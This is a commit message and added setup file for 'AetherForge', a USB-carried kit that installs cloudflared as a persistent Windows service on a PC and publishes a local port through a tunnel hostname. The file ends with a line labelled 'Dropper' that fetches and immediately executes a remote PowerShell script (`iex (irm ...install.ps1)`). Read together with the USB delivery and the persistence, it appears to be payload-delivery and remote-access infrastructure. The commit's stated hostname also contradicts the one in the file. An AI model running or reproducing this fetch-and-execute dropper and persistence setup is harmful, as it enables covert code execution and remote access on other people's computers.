Add self-healing Cloudflare tunnel with 60s watchdog for USB deck.

Replaces fragile batch-based tunnel install with a single PowerShell
script (cloudflare/start-tunnel.ps1) that installs cloudflared as a
Windows service (admin) or runs as a background process (non-admin),
clears stale EventLog registry keys that caused service rollback, and
runs a 60-second watchdog that auto-restarts the connector on failure.
Hostname changed to aether.thetempleofdoom.com. LAUNCH.bat and
pack-usb.bat updated accordingly.

cloudflare/SETUP.txt

@@ -0,0 +1,47 @@
+========================================================
+  AetherForge — Cloudflare Tunnel
+  https://killa.thetempleofdoom.com
+========================================================
+
+FIRST RUN (once per PC)
+-----------------------
+1. Double-click LAUNCH.bat
+2. Approve the UAC prompt when asked — tunnel install needs Administrator
+3. LAUNCH.bat installs cloudflared to:
+     C:\ProgramData\AetherForge\bin\cloudflared.exe
+   (stable path on the PC, not on the USB drive)
+4. Registers the Windows service "cloudflared" with your tunnel token
+5. Starts the service — connector shows Healthy in Cloudflare Zero Trust
+
+You can also run manually (as Administrator):
+  cloudflare\install-tunnel.bat
+
+VERIFY ON THE PC
+----------------
+  sc query cloudflared
+
+Look for STATE : 4  RUNNING
+
+Cloudflare dashboard:
+  Zero Trust → Networks → Tunnels → your tunnel → Healthy connector
+
+Public hostname route (required):
+  killa.thetempleofdoom.com  →  http://localhost:8989
+
+End-to-end test (AetherForge must be running on :8989):
+  https://killa.thetempleofdoom.com
+
+TROUBLESHOOTING
+---------------
+- No [CF] lines in LAUNCH? Old USB copy — re-copy usb\ from pack-usb.bat
+- sc query shows nothing / service missing? Run LAUNCH.bat as Administrator once
+- Service exists but not RUNNING?  net start cloudflared
+- Public URL 502? AetherForge not listening on localhost:8989
+- Tunnel Healthy but no public URL? Add hostname route in Cloudflare dashboard
+
+Dropper (after tunnel + server are up):
+  iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
+
+credentials.json is NOT used — token is in install-tunnel.bat / LAUNCH.bat.
+
+========================================================